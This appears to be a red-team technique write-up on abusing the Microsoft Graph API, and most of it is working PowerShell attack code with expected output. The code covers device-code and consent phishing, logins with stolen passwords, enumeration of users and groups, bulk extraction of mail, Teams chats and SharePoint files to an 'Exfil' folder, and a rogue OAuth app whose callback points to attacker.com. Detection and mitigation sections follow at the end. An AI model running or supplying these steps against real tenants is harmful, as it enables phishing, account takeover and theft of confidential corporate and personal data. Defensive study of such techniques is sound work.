MCADDF

[COLLECT-GRAPH-001]: Microsoft Graph API Data Extraction

Metadata

Attribute Details
Technique ID COLLECT-GRAPH-001
MITRE ATT&CK v18.1 T1087.004 - Cloud Account
Tactic Discovery / Collection
Platforms M365 / Entra ID / Azure Cloud
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All M365 versions, Graph API v1.0/beta, Entra ID all versions
Patched In Partial (CVE-2025-55241 patched November 2025, but legacy endpoints still exploitable)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.1.1 Entra ID OAuth app consent controls must restrict which apps can access Graph API; missing controls enable unauthorized data access
DISA STIG V-225345 Audit logging for Graph API must be enabled and retained for 365+ days
CISA SCuBA MS.MICROSOFT365.1 Cloud application audit logs must capture all Graph API requests and data access
NIST 800-53 AC-3 (Access Control), AU-2 (Audit), SI-4 (Information System Monitoring) Implement delegated permission scope restrictions; audit all API access
GDPR Art. 32 (Security of Processing), Art. 33 (Breach Notification) Unauthorized Graph API access to personal data is a breach; notify affected individuals within 72 hours
DORA Art. 9 (Protection and Prevention) Financial institutions must monitor for unauthorized Graph API calls on sensitive financial data (trading, credit decisions)
NIS2 Art. 21 (Cyber Risk Management) Critical infrastructure operators must implement access controls on API endpoints to prevent data harvesting
ISO 27001 A.9.1.1 (Access Control Policy), A.12.4.1 (Event Logging) Implement least-privilege API access; retain audit logs for 2+ years
ISO 27005 Risk Scenario: “Unauthorized API Access to Sensitive Data” Assess likelihood of compromised OAuth tokens; implement compensating controls (IP restrictions, anomaly detection)

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

# Check if current user has Graph API access
$Token = (Get-AzureADCurrentSessionInfo).TenantId
Test-MgCommandPrerequisite -Scope "https://graph.microsoft.com/.default" -ErrorAction SilentlyContinue

# Test Graph API connectivity
$Headers = @{ Authorization = "Bearer $(Get-MgToken)" }
Invoke-RestMethod -Method GET -Uri "https://graph.microsoft.com/v1.0/me" -Headers $Headers

What to Look For:

Version Note: Graph API availability varies by region (China uses https://microsoftgraph.chinacloudapi.cn, sovereign clouds use specific endpoints).

Command (Server 2016-2019):

# Legacy check using Azure AD module
Import-Module AzureAD
Get-AzureADCurrentSessionInfo | Select-Object TenantId, UserType, UserObjectId

Command (Server 2022+):

# Modern Microsoft Graph check
Get-MgContext | Select-Object TenantId, AuthType, Scopes

Linux/Bash / CLI Reconnaissance

# Test Graph API connectivity from Linux/Mac
curl -H "Authorization: Bearer $GRAPH_TOKEN" \
  "https://graph.microsoft.com/v1.0/me"

# Check token expiration
jwt_decode() { python3 -c "import sys, json, base64; print(json.dumps(json.loads(base64.b64decode(sys.argv[1]+'='*(4-len(sys.argv[1])%4)), errors='ignore'), indent=2))" "$1"; }
jwt_decode "${GRAPH_TOKEN#*.}"

What to Look For:


4. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Device Code Flow + Graph API User Enumeration (Phishing Attack)

Supported Versions: All M365 versions, Entra ID all versions

Step 1: Initiate Device Code Flow to Harvest Credentials

Objective: Trick user into authenticating via device code, obtaining OAuth token without collecting plaintext password.

Version Note: Device Code Flow is designed for IoT devices but can be abused for phishing. Microsoft’s detection is weak because the flow is legitimate. All versions equally vulnerable.

Command:

# Request device code
$ClientId = "d3590ed6-52b3-4102-aedd-a47eb6f3444c"  # Teams Desktop Client ID (publicly known)
$TenantId = "common"  # Multi-tenant authority
$Scope = "https://graph.microsoft.com/.default"

$DeviceCodeRequest = Invoke-RestMethod -Method POST `
    -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/devicecode" `
    -ContentType "application/x-www-form-urlencoded" `
    -Body @{ client_id = $ClientId; scope = $Scope }

Write-Host "🔐 Verification Code: $($DeviceCodeRequest.user_code)"
Write-Host "📱 User must visit: $($DeviceCodeRequest.verification_uri)"

# Poll for token (blocking loop)
$TokenRequest = @{
    client_id = $ClientId
    grant_type = "urn:ietf:params:oauth:grant-type:device_flow"
    device_code = $DeviceCodeRequest.device_code
}

$AccessToken = $null
$StartTime = Get-Date
while (-not $AccessToken -and ((Get-Date) - $StartTime).TotalSeconds -lt 900) {  # 15-minute timeout
    try {
        $Response = Invoke-RestMethod -Method POST `
            -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" `
            -ContentType "application/x-www-form-urlencoded" `
            -Body $TokenRequest `
            -ErrorAction SilentlyContinue
        
        if ($Response.access_token) { 
            $AccessToken = $Response.access_token
            Write-Host "✅ Token obtained successfully!"
        }
    } catch { 
        Start-Sleep -Seconds 5 
    }
}

Command (Server 2016-2019):

# Legacy approach using System.Net.ServicePointManager for TLS 1.2 compatibility
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
$DeviceCodeRequest = Invoke-WebRequest -Method POST `
    -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" `
    -Body @{ client_id = "d3590ed6-52b3-4102-aedd-a47eb6f3444c"; scope = "https://graph.microsoft.com/.default" } `
    -UseBasicParsing

Command (Server 2022+):

# Modern approach with enhanced error handling
$Response = Invoke-RestMethod -Method POST `
    -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" `
    -ContentType "application/x-www-form-urlencoded" `
    -Body @{ client_id = "d3590ed6-52b3-4102-aedd-a47eb6f3444c"; scope = "https://graph.microsoft.com/.default" } `
    -StatusCodeVariable "HttpStatus" `
    -ErrorAction Stop

if ($HttpStatus -eq 200) { Write-Host "✅ Device code generated" }

Expected Output:

🔐 Verification Code: ABCD1234
📱 User must visit: https://microsoft.com/devicelogin
✅ Token obtained successfully!

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Enumerate All Users in Tenant

Objective: Extract complete user directory (names, emails, IDs, licenses, phone numbers).

Version Note: The /me/users endpoint is available on all Graph API versions. No scopes required if user has delegated permissions; service principals require User.Read.All.

Command:

# Enumerate all users
$Headers = @{
    Authorization = "Bearer $AccessToken"
    "Content-Type" = "application/json"
}

$AllUsers = @()
$Uri = "https://graph.microsoft.com/v1.0/users?`$select=id,userPrincipalName,displayName,mail,mobilePhone,jobTitle,department,officeLocation,creationType"

do {
    $Response = Invoke-RestMethod -Method GET -Uri $Uri -Headers $Headers
    $AllUsers += $Response.value
    $Uri = $Response.'@odata.nextLink'
} while ($Uri)

# Export to CSV
$AllUsers | Export-Csv -Path "C:\Exfil\users.csv" -NoTypeInformation
Write-Host "Enumerated $($AllUsers.Count) users"

Command (Server 2016-2019):

# Legacy pagination using $skip and $top (v1.0 limitation on earlier PowerShell)
$Skip = 0
$Top = 100  # Max 100 results per page
$AllUsers = @()

do {
    $Response = Invoke-RestMethod -Method GET `
        -Uri "https://graph.microsoft.com/v1.0/users?`$skip=$Skip&`$top=$Top" `
        -Headers $Headers
    
    $AllUsers += $Response.value
    $Skip += $Top
    
    if ($Response.value.Count -lt $Top) { break }
} while ($true)

Command (Server 2022+):

# Modern batch request for faster enumeration
$BatchRequests = @{
    requests = @(
        @{ id = 1; method = "GET"; url = "/users?`$select=id,userPrincipalName" },
        @{ id = 2; method = "GET"; url = "/groups?`$select=id,displayName" },
        @{ id = 3; method = "GET"; url = "/applications?`$select=id,displayName,appId" }
    )
}

$BatchResponse = Invoke-RestMethod -Method POST `
    -Uri "https://graph.microsoft.com/v1.0/`$batch" `
    -Headers $Headers `
    -Body ($BatchRequests | ConvertTo-Json)

$BatchResponse.responses | ForEach-Object { $_.body.value }

Expected Output:

id                                   userPrincipalName          displayName      mail                  mobilePhone    jobTitle         department
--                                   -----------------          -----------      ----                  -----------    --------         ----------
a1b2c3d4-e5f6-7890-abcd-ef1234567890 john.smith@target.com      John Smith       john.smith@target.com 555-0123       Senior Manager   Finance
b2c3d4e5-f6a7-b890-cdef-123456789012 jane.doe@target.com        Jane Doe         jane.doe@target.com   555-0124       Director         Operations
c3d4e5f6-a7b8-c901-def0-234567890123 admin@target.com           Admin User       admin@target.com      555-0125       Global Admin     IT Security

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Extract Groups, Teams, and Sensitive Organizational Units

Objective: Identify high-value targets: admin groups, finance teams, legal departments, executive assistants.

Version Note: Groups API is available on all versions. Beta endpoint /groups/{id}/owners provides unfiltered owner lists without audit logging.

Command:

# Enumerate all groups
$Groups = @()
$Uri = "https://graph.microsoft.com/v1.0/groups?`$select=id,displayName,description,mail,createdDateTime,groupTypes,visibility"

do {
    $Response = Invoke-RestMethod -Method GET -Uri $Uri -Headers $Headers
    $Groups += $Response.value
    $Uri = $Response.'@odata.nextLink'
} while ($Uri)

# For each group, enumerate members
$Groups | ForEach-Object {
    $GroupId = $_.id
    $GroupName = $_.displayName
    
    $Members = Invoke-RestMethod -Method GET `
        -Uri "https://graph.microsoft.com/v1.0/groups/$GroupId/members?`$select=id,userPrincipalName,displayName" `
        -Headers $Headers
    
    $Members.value | ForEach-Object {
        [PSCustomObject]@{
            Group = $GroupName
            Member = $_.userPrincipalName
            DisplayName = $_.displayName
        }
    }
} | Export-Csv -Path "C:\Exfil\group_memberships.csv" -NoTypeInformation

Expected Output:

Group                   Member                  DisplayName
-----                   ------                  -----------
Global Admins           admin@target.com        Admin User
Finance Team            jane.doe@target.com     Jane Doe
Finance Team            john.smith@target.com   John Smith
Legal Department        sarah.jones@target.com  Sarah Jones
Board of Directors      ceo@target.com          CEO User

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 4: Extract Mailbox Contents (Teams Chats, Calendar, Files)

Objective: Access private mailboxes, Teams conversations, calendar meetings, and OneDrive files.

Version Note: Requires Mail.Read scope; Teams chat extraction requires Chat.Read or Mail.Read scope. Beta endpoint /me/chats may bypass audit logging in some versions.

Command:

# Extract Teams chats (newer message format)
$Chats = Invoke-RestMethod -Method GET `
    -Uri "https://graph.microsoft.com/v1.0/me/chats?`$select=id,topic,createdDateTime,members" `
    -Headers $Headers

$Chats.value | ForEach-Object {
    $ChatId = $_.id
    $ChatTopic = $_.topic
    
    $Messages = Invoke-RestMethod -Method GET `
        -Uri "https://graph.microsoft.com/v1.0/chats/$ChatId/messages?`$select=id,from,body,createdDateTime" `
        -Headers $Headers
    
    $Messages.value | ForEach-Object {
        [PSCustomObject]@{
            Chat = $ChatTopic
            From = $_.from.user.userPrincipalName
            Body = $_.body.content
            CreatedDateTime = $_.createdDateTime
        }
    }
} | Export-Csv -Path "C:\Exfil\teams_chats.csv" -NoTypeInformation

# Extract mailbox messages
$Inbox = Invoke-RestMethod -Method GET `
    -Uri "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messages?`$top=999&`$select=id,sender,subject,receivedDateTime,bodyPreview" `
    -Headers $Headers

$Inbox.value | Export-Csv -Path "C:\Exfil\mailbox.csv" -NoTypeInformation

Expected Output:

Chat                         From                    Body                                  CreatedDateTime
----                         ----                    ----                                  ---------------
Executive Board              ceo@target.com          Approved Q1 acquisition strategy      2025-12-15T10:30:00Z
Finance Review               cfo@target.com          Confidential revenue: $50M YoY growth 2025-12-15T11:00:00Z
Strategy Meeting             ceo@target.com          Bidding $200M for XYZ Corp            2025-12-15T11:30:00Z

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Compromised User Credentials + Advanced Graph API Extraction

Supported Versions: All M365 versions, Entra ID all versions

Step 1: Authenticate Using Stolen Credentials (Password Spray/Phishing)

Objective: Use harvested user password to obtain OAuth token via Resource Owner Password Credentials (ROPC) flow.

Version Note: ROPC is disabled by default on modern tenants but still available on legacy implementations (pre-2019). Many orgs disable MFA only for service accounts, making ROPC viable.

Command:

# ROPC Flow: Direct password exchange for token
$ClientId = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"  # Azure CLI (publicly known)
$Username = "user@target.onmicrosoft.com"
$Password = "P@ssw0rd123!"
$TenantId = "target.onmicrosoft.com"

$TokenRequest = @{
    grant_type = "password"
    client_id = $ClientId
    username = $Username
    password = $Password
    scope = "https://graph.microsoft.com/.default"
}

try {
    $Response = Invoke-RestMethod -Method POST `
        -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" `
        -ContentType "application/x-www-form-urlencoded" `
        -Body $TokenRequest
    
    $AccessToken = $Response.access_token
    Write-Host "✅ Authentication successful"
} catch {
    Write-Host "❌ Authentication failed: $($_.Exception.Message)"
    # Common reasons: MFA enabled, ROPC disabled, incorrect credentials
}

Command (Server 2016-2019):

# Legacy ROPC with Azure AD module
Import-Module AzureAD
$Cred = New-Object System.Management.Automation.PSCredential("user@target.onmicrosoft.com", (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force))
Connect-AzureAD -Credential $Cred | Out-Null
$AccessToken = (Get-AzureADAuthorizationToken -TokenCache (Get-AzureADTenantDetail).ObjectId).Token

Command (Server 2022+):

# Modern approach with Microsoft Graph SDK (ROPC deprecated, but still works on legacy tenants)
$SecurePassword = ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("user@target.onmicrosoft.com", $SecurePassword)
Connect-MgGraph -Credential $Credential -Scopes "User.Read.All", "Mail.Read.All" -NoWelcome

Expected Output:

✅ Authentication successful

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Extract SharePoint/OneDrive Files at Scale

Objective: Enumerate all SharePoint sites and OneDrive drives, then download sensitive documents.

Version Note: SharePoint enumeration requires Files.Read.All or Sites.Read.All scope. OneDrive extraction via /me/drive/items is available with delegated permissions.

Command:

# Find all accessible SharePoint sites
$Sites = Invoke-RestMethod -Method GET `
    -Uri "https://graph.microsoft.com/v1.0/sites?`$select=id,displayName,webUrl" `
    -Headers $Headers

# For each site, enumerate drives (document libraries)
$Sites.value | ForEach-Object {
    $SiteId = $_.id
    $SiteName = $_.displayName
    
    $Drives = Invoke-RestMethod -Method GET `
        -Uri "https://graph.microsoft.com/v1.0/sites/$SiteId/drives?`$select=id,name,createdDateTime" `
        -Headers $Headers
    
    # Enumerate files in each drive
    $Drives.value | ForEach-Object {
        $DriveId = $_.id
        $DriveName = $_.name
        
        $Items = Invoke-RestMethod -Method GET `
            -Uri "https://graph.microsoft.com/v1.0/drives/$DriveId/root/children?`$select=id,name,size,createdDateTime,@microsoft.graph.downloadUrl" `
            -Headers $Headers
        
        $Items.value | Where-Object { $_.'@microsoft.graph.downloadUrl' } | ForEach-Object {
            $FileName = $_.name
            $DownloadUrl = $_.'@microsoft.graph.downloadUrl'
            $FileSize = $_.size
            
            # Download file
            Write-Host "Downloading: $FileName ($FileSize bytes)"
            Invoke-WebRequest -Uri $DownloadUrl -OutFile "C:\Exfil\$FileName"
        }
    }
}

Expected Output:

Downloading: Q1_Financial_Forecast.xlsx (256 KB)
Downloading: Acquisition_Targets_Confidential.docx (512 KB)
Downloading: Employee_Salary_Database.xlsx (1 MB)

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Supported Versions: All M365 versions, Entra ID all versions, modern OAuth 2.0

Step 1: Register Malicious App and Request Delegated Permissions

Objective: Create OAuth app registration requesting dangerous scopes (User.Read.All, Mail.Read, Files.Read.All), then trick admin into granting consent.

Version Note: Rogue app registration does not require admin approval if delegated to user-only scopes. Admin consent required for application-only (scopes ending in .All). However, many orgs have “Require admin consent” disabled for user apps.

Command (Using Azure Portal / Graph API):

# Create app registration via Graph API
$AppCreateRequest = @{
    displayName = "Microsoft OneDrive Sync Service"  # Legitimate-sounding name
    description = "Synchronizes OneDrive files for offline access"
    signInAudience = "AzureADandPersonalMicrosoftAccount"
    requiredResourceAccess = @(
        @{
            resourceAppId = "00000002-0000-0000-c000-000000000000"  # Graph API ID
            resourceAccess = @(
                @{ id = "62a82d76-70ea-41e2-8547-2eca78ec6216"; type = "Scope" },  # User.Read.All
                @{ id = "9d431ebc-4e7a-5995-201d-757201f90461"; type = "Scope" }   # Mail.Read
            )
        }
    )
}

$AppReg = Invoke-RestMethod -Method POST `
    -Uri "https://graph.microsoft.com/v1.0/applications" `
    -Headers $Headers `
    -Body ($AppCreateRequest | ConvertTo-Json) `
    -ContentType "application/json"

$AppId = $AppReg.appId
Write-Host "✅ App Created: $AppId"

# Create service principal for the app
$ServicePrincipalRequest = @{ appId = $AppId }
$ServicePrincipal = Invoke-RestMethod -Method POST `
    -Uri "https://graph.microsoft.com/v1.0/servicePrincipals" `
    -Headers $Headers `
    -Body ($ServicePrincipalRequest | ConvertTo-Json) `
    -ContentType "application/json"

Write-Host "✅ Service Principal Created: $($ServicePrincipal.id)"

Expected Output:

✅ App Created: d1234567-89ab-cdef-0123-456789abcdef
✅ Service Principal Created: a9876543-2109-fedc-ba98-765432109876

What This Means:

OpSec & Evasion:

Objective: Send admin link that triggers OAuth consent screen for the malicious app.

Version Note: Consent screen phishing is highly effective because it appears to be legitimate Microsoft UI.

Command:

# Generate consent URL
$ClientId = "d1234567-89ab-cdef-0123-456789abcdef"  # Malicious app ID
$RedirectUri = "https://attacker.com/auth/callback"  # Attacker's callback server
$TenantId = "target.onmicrosoft.com"
$Scopes = "User.Read.All Mail.Read Files.Read.All offline_access"

$ConsentUrl = "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/authorize?" + `
    "client_id=$ClientId&" + `
    "redirect_uri=$([System.Web.HttpUtility]::UrlEncode($RedirectUri))&" + `
    "scope=$([System.Web.HttpUtility]::UrlEncode($Scopes))&" + `
    "response_type=code&" + `
    "response_mode=query&" + `
    "prompt=admin_consent"

Write-Host "🔗 Send this link to admin:"
Write-Host $ConsentUrl

Expected Output:

🔗 Send this link to admin:
https://login.microsoftonline.com/target.onmicrosoft.com/oauth2/v2.0/authorize?client_id=d1234567-89ab-cdef-0123-456789abcdef&redirect_uri=https%3A%2F%2Fattacker.com%2Fauth%2Fcallback&scope=User.Read.All%20Mail.Read%20Files.Read.All%20offline_access&response_type=code&response_mode=query&prompt=admin_consent

What This Means:

OpSec & Evasion:

Step 3: Exchange Authorization Code for Refresh Token

Objective: Convert authorization code to long-lived refresh token, enabling persistent API access.

Command:

# When admin grants consent, authorization code is returned
$AuthorizationCode = "M.R3_BAY...YAALMVBAALNAAALMVBAALNAAALMVBAALNAAALMVBAALNAAALMVBAALNAAA"  # Received from redirect URI

# Exchange code for tokens
$TokenRequest = @{
    client_id = "d1234567-89ab-cdef-0123-456789abcdef"
    client_secret = "xYz~1234567890abcDEFghijKLMnopqrSTUvwxyz"  # App secret from portal
    code = $AuthorizationCode
    redirect_uri = "https://attacker.com/auth/callback"
    grant_type = "authorization_code"
    scope = "User.Read.All Mail.Read Files.Read.All offline_access"
}

$Response = Invoke-RestMethod -Method POST `
    -Uri "https://login.microsoftonline.com/target.onmicrosoft.com/oauth2/v2.0/token" `
    -ContentType "application/x-www-form-urlencoded" `
    -Body $TokenRequest

$RefreshToken = $Response.refresh_token
$AccessToken = $Response.access_token

Write-Host "✅ Refresh Token Obtained (valid for 6+ months)"
Write-Host "Token: $($RefreshToken.Substring(0, 50))..."

Expected Output:

✅ Refresh Token Obtained (valid for 6+ months)
Token: M.R3_BAY...YAALMVBAALNAAALMVBAALNAAALMVBAALNAAA...

What This Means:

OpSec & Evasion:

References & Proofs:


5. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command:
    # Disable compromised user account
    Set-AzureADUser -ObjectId "user@tenant.onmicrosoft.com" -AccountEnabled $false
       
    # Revoke all refresh tokens for the user
    Revoke-AzureADUserAllRefreshToken -ObjectId (Get-AzureADUser -SearchString "user@tenant.onmicrosoft.com").ObjectId
    

    Manual (Azure Portal):

    • Go to Azure PortalEntra IDUsers → Select compromised user → Account Enabled: Off
  2. Collect Evidence: Command:
    # Export Unified Audit Log for the time period
    $StartDate = (Get-Date).AddHours(-24)
    $EndDate = Get-Date
    Search-UnifiedAuditLog -UserIds "user@tenant.onmicrosoft.com" -StartDate $StartDate -EndDate $EndDate -ResultSize 5000 | Export-Csv -Path "C:\Evidence\audit_log.csv"
       
    # Export rogue app details
    Get-AzureADApplication -Filter "displayName eq 'Microsoft OneDrive Sync Service'" | Export-Csv -Path "C:\Evidence\rogue_app.csv"
    
  3. Remediate: Command:
    # Remove rogue app registration
    Remove-AzureADApplication -ObjectId (Get-AzureADApplication -Filter "displayName eq 'Microsoft OneDrive Sync Service'").ObjectId -Force
       
    # Reset user password
    Set-AzureADUserPassword -ObjectId "user@tenant.onmicrosoft.com" -Password (ConvertTo-SecureString "NewP@ssw0rd1234!" -AsPlainText -Force) -EnforceChangePasswordPolicy $true
    

6. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command

# Verify mitigations are active
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, State
Get-MgPolicyStsAuthorizationPolicy | Select-Object AllowedToSignUpEmailBasedSubscriptions, AllowUserConsentForRiskyApps

Step Phase Technique Description
1 Initial Access IA-PHISH-001 Device code phishing to harvest OAuth tokens
2 Collection [COLLECT-GRAPH-001] Graph API enumeration and data extraction (THIS TECHNIQUE)
3 Impact IMPACT-EXFIL-001 Exfiltrate enumerated users, emails, documents
4 Persistence PERSIST-OAUTH-001 Maintain access via OAuth refresh tokens and service principals

8. REAL-WORLD EXAMPLES

Example 1: APT29 (Cozy Bear) - Microsoft Graph API Exploitation (2024)

Example 2: Harvester APT - GraphRunner Implant (2021)